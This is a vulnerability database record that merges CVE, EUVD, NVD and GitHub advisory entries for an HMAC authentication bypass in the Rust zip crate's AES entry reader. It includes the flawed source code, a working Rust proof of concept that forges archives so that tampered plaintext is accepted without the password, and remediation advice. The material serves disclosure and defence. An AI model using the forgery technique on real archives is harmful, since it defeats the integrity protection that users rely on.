{"id":"EUVD-2026-109983","revision":null,"records":[{"revision":"dbc012bd195e4c81bc568b7c6a34bb04","observedAt":"2026-10-31T02:45:26.532+00:00","statement":{"source":"cve-program","id":"CVE-2026-115906","aliases":[],"title":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","state":0,"publishedAt":"2026-10-26T16:30:30.954+00:00","modifiedAt":"2026-10-31T01:32:55.292+00:00","affected":[{"ecosystem":"Vendor product","name":"zip2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"zip-rs\",\n                    \"product\": \"zip2\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 0.6.0, < 9.0.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4","https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216","https://github.com/zip-rs/zip2/releases/tag/v9.0.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-115906","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-115906","identifiers":["CVE-2026-115906"]},"retained":false,"historicalAffected":[]},{"revision":"43a261497b0442868c54b401369d49a6","observedAt":"2026-11-06T21:03:44.578+00:00","statement":{"source":"euvd","id":"EUVD-2026-109983","aliases":["CVE-2026-115906","GHSA-8hxf-qr8p-62x4"],"title":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bo…","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":null}],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4","https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216","https://github.com/zip-rs/zip2/releases/tag/v9.0.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-109983","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 26, 2026, 4:30:30 PM","dateUpdated":"Oct 31, 2026, 1:32:55 AM"},"relatedAdvisories":[{"id":"msrc_CVE-2026-115906","title":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","vulnerabilityIds":["CVE-2026-115906"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-109983","identifiers":["EUVD-2026-109983","CVE-2026-115906","GHSA-8hxf-qr8p-62x4"]},"retained":false,"historicalAffected":[]},{"revision":"0cbc9a6ad5bd4238971736c7c7c66115","observedAt":"2026-10-31T19:05:21.092+00:00","statement":{"source":"nvd","id":"CVE-2026-115906","aliases":[],"title":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bo…","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","state":0,"publishedAt":"2026-10-26T17:17:17.993+00:00","modifiedAt":"2026-10-31T02:17:29.267+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216","https://github.com/zip-rs/zip2/releases/tag/v9.0.0","https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115906","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-354","CWE-1284"],"productCriteria":[],"sourceDates":{"published":"2026-10-26T17:17:17.993","lastModified":"2026-10-31T02:17:29.267"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-115906","identifiers":["CVE-2026-115906"]},"retained":false,"historicalAffected":[]},{"revision":"f766bfc1ab54466b81773525c7027621","observedAt":"2026-10-29T18:29:17.815+00:00","statement":{"source":"osv","id":"GHSA-8hxf-qr8p-62x4","aliases":["CVE-2026-115906"],"title":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","description":"### Summary\n\nAn AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared `compressed_size`, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error.\n\n### Details\n\n[`src/aes.rs:246-292`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L246-L292):\n\n```rust\nfn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {\n    if self.data_remaining == 0 { // @audit insufficient check\n        return Ok(0);\n    }\n\n    // get the number of bytes to read, compare as u64 to make sure we can read more than\n    // 2^32 bytes even on 32 bit systems.\n    let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize;\n    let read = self.reader.read(&mut buf[0..bytes_to_read])?;\n    self.data_remaining -= read as u64;\n\n    // Update the hmac with the encrypted data\n    self.hmac.update(&buf[0..read]);\n\n    // decrypt the data\n    self.cipher.crypt_in_place(&mut buf[0..read]);\n\n    // if there is no data left to read, check the integrity of the data\n    if self.data_remaining == 0 {\n        debug_assert!(\n            !self.finalized,\n            \"Tried to use an already finalized HMAC. This is a bug!\"\n        );\n        if self.finalized {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Tried to use an already finalized HMAC\",\n            ));\n        }\n        self.finalized = true;\n\n        // Zip uses HMAC-Sha1-80, which only uses the first half of the hash\n        // see https://www.winzip.com/win/en/aes_info.html#auth-faq\n        let mut read_auth_code = [0; AUTH_CODE_LENGTH];\n        self.reader.read_exact(&mut read_auth_code)?;\n        let computed_auth_code = &self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH];\n\n        // use constant time comparison to mitigate timing attacks\n        if !constant_time_eq(computed_auth_code, &read_auth_code) {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Invalid authentication code, this could be due to an invalid password or errors in the data\",\n            ));\n        }\n    }\n\n    Ok(read)\n}\n```\n\n`data_remaining` starts at `compressed_size - (2 + 10 + salt_length)` ([`src/aes.rs:144-145`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L144-L145)), where `compressed_size` comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: `ZipFileData::find_content()` is just `reader.take(self.compressed_size)` ([`src/types.rs:214-223`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/types.rs#L214-L223)), and `make_crypto_reader()` passes the declared value into `AesReader::new()` ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L219-L223)).\n\nWhen the entry's bounded reader reaches true EOF before the declared size, the inner reader returns `Ok(0)`, the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the `Take` limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of `read()` means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file.\n\nThis defeats the guarantee the type documents: *\"After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed.\"*\n\nAE-2 entries skip the CRC-32 check by design ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L248-L255) → `Crc32Reader::new(.., should_disable = true)`), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including `by_index_decrypt()`, `by_name_decrypt()`, `by_path_decrypt()`, and `by_index_with_options()` when a password is supplied. Bare `extract()` calls `by_index()` without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected.\n\n### PoC\n\n`tests/aes_hmac_bypass.rs` below; `Cargo.toml` needs only `zip = { git = \"https://github.com/zip-rs/zip2\", rev = \"6f09b3064ec87c3a69ea9f3413f9f9638b4aa446\" }`, or `zip = \"8.6.0\"` to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit.\n\n```rust\nuse std::io::{Cursor, Read, Write};\nuse zip::write::SimpleFileOptions;\nuse zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter};\n\nconst PASSWORD: &str = \"correct horse battery staple\";\nconst GENUINE: &[u8] = b\"balance: 100 USD\\n\";\nconst FORGED: &[u8] = b\"balance: 999 USD\\n\";\nconst AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag\n\nfn genuine_archive(plaintext: &[u8]) -> Vec<u8> {\n    let mut w = ZipWriter::new(Cursor::new(Vec::new()));\n    let opts = SimpleFileOptions::default()\n        .compression_method(CompressionMethod::Stored)\n        .with_aes_encryption(AesMode::Aes256, PASSWORD);\n    w.start_file(\"secret.txt\", opts).unwrap();\n    w.write_all(plaintext).unwrap();\n    w.finish().unwrap().into_inner()\n}\n\n/// What a victim does: open with the correct password and read the entry.\nfn victim_reads(archive: &[u8]) -> std::io::Result<Vec<u8>> {\n    let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap();\n    let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap();\n    let mut out = Vec::new();\n    f.read_to_end(&mut out)?;\n    Ok(out)\n}\n\nfn u16le(b: &[u8], off: usize) -> usize {\n    u16::from_le_bytes([b[off], b[off + 1]]) as usize\n}\n\n/// Payload offset of the single local file header at offset 0.\nfn payload_start(a: &[u8]) -> usize {\n    30 + u16le(a, 26) + u16le(a, 28)\n}\n\n/// Control: on a well-formed archive the HMAC does reject forged ciphertext.\n#[test]\nfn tampering_is_detected_when_the_declared_size_is_honest() {\n    let mut a = genuine_archive(GENUINE);\n    let ct = payload_start(&a) + 18;\n    for i in 0..GENUINE.len() {\n        a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable\n    }\n    let err = victim_reads(&a).unwrap_err();\n    assert!(err.to_string().contains(\"Invalid authentication code\"));\n}\n\n/// The bypass: chosen plaintext is delivered verbatim, without the password.\n#[test]\nfn hmac_is_bypassed_when_the_entry_ends_early() {\n    let genuine = genuine_archive(GENUINE);\n    let hdr_len = payload_start(&genuine);\n    let eocd = genuine.len() - 22; // no archive comment yet\n    let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize;\n\n    // Park a second copy of the entry after the end-of-central-directory record,\n    // inside the archive comment, so its data ends at true EOF. Header, salt and\n    // password verifier are copied verbatim — no password knowledge is required.\n    let mut evil = genuine.clone();\n    let new_hdr_offset = evil.len() as u32;\n    evil.extend_from_slice(&genuine[..hdr_len + 18]); // local header + salt + verifier\n    for i in 0..GENUINE.len() {\n        // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted.\n        evil.push(genuine[hdr_len + 18 + i] ^ GENUINE[i] ^ FORGED[i]);\n    }\n    let comment_len = (evil.len() - genuine.len()) as u16;\n    evil[eocd + 20..eocd + 22].copy_from_slice(&comment_len.to_le_bytes());\n\n    // Repoint the central directory at the parked copy and declare more data than\n    // is present, so `data_remaining` can never reach zero.\n    let declared = (AES256_OVERHEAD + GENUINE.len() + 64) as u32;\n    evil[cd_offset + 42..cd_offset + 46].copy_from_slice(&new_hdr_offset.to_le_bytes());\n    evil[cd_offset + 20..cd_offset + 24].copy_from_slice(&declared.to_le_bytes());\n    let hdr2 = new_hdr_offset as usize;\n    evil[hdr2 + 18..hdr2 + 22].copy_from_slice(&declared.to_le_bytes());\n\n    let content = victim_reads(&evil).expect(\"BUG: unauthenticated content was accepted\");\n    assert_eq!(content, FORGED);\n}\n\n/// Second path: an entry with no payload bytes is never authenticated at all.\n#[test]\nfn hmac_is_never_checked_for_a_zero_length_entry() {\n    let mut a = genuine_archive(b\"\");\n    let tag = payload_start(&a) + 18;\n    a[tag] ^= 0xff; // corrupt the 10-byte authentication code\n    let content = victim_reads(&a).expect(\"BUG: a corrupt authentication code was accepted\");\n    assert!(content.is_empty());\n}\n```\n\nTurning the genuine plaintext into a *chosen* plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content.\n\n### Impact\n\nAny application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide.\n\n### Suggested remediation\n\n1. In `AesReaderValid::read()`, treat a short inner read as an error rather than a clean EOF: after the decrement, if `read == 0 && self.data_remaining > 0`, return `ErrorKind::UnexpectedEof`.\n2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when `data_length == 0`.\n3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in `ZipFileData::find_content()` / `find_content_seek()` (`src/types.rs`). Also make the `compressed_size - overhead` subtraction in `AesReader::new()` (`src/aes.rs:144`) checked — today a declared size below the AES overhead underflows it, which panics under `overflow-checks` and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check.","state":0,"publishedAt":"2026-10-29T16:40:07+00:00","modifiedAt":"2026-10-29T17:00:04.1881777+00:00","affected":[{"ecosystem":"crates.io","name":"zip","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.6.0"},{"kind":"fixed","version":"9.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4","https://nvd.nist.gov/vuln/detail/CVE-2026-115906","https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216","https://github.com/zip-rs/zip2","https://github.com/zip-rs/zip2/releases/tag/v9.0.0"],"sourceUrl":"https://github.com/advisories/GHSA-8hxf-qr8p-62x4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8hxf-qr8p-62x4","identifiers":["GHSA-8hxf-qr8p-62x4","CVE-2026-115906"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T06:27:05.6380447+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T06:27:05.6380447+00:00","lastSuccessAt":"2026-11-07T06:27:05.7932457+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:05.7932469+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-6f544c2f3953f500ddb5b39526af1c06f4dafd806ddc7bf6476fb6444529ee07","complete":true,"records":420723,"lastAttemptAt":"2026-11-07T06:27:04.4118644+00:00","lastSuccessAt":"2026-11-07T06:27:04.3307229+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:04.4118644+00:00","snapshotPublishedAt":"2026-11-07T05:27:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f3bff9471edc48448e31845a67a4407b","complete":true,"records":13630,"lastAttemptAt":"2026-11-07T06:38:40.0754161+00:00","lastSuccessAt":"2026-11-07T06:38:40.073+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:38:40.073+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T06:27:05.6380447+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T06:27:05.6380447+00:00","lastSuccessAt":"2026-11-07T06:27:05.7940505+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:05.7940508+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1262a9fa83024e28a1560dfc0c9cdf3c","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T06:27:08.5367847+00:00","lastSuccessAt":"2026-11-07T06:27:08.533+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:08.533+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T06:27:05.1996809+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:05.1996809+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T06:27:04.6304807+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:04.6304807+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T06:27:05.5809672+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:05.5809672+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-a0b728bc1c5526b5429930c00621636eba8655069c176697c3080f8377619ad7","complete":true,"records":231291,"lastAttemptAt":"2026-11-07T06:27:05.0945652+00:00","lastSuccessAt":"2026-11-07T00:28:51.1983528+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:05.0945652+00:00","snapshotPublishedAt":"2026-11-06T23:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}